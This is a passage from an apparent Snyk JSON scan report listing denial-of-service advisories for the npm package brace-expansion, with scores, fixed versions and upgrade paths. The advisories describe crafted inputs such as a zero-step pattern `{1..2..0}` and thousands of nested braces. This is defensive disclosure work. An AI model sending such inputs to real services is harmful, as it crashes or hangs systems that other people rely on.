"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
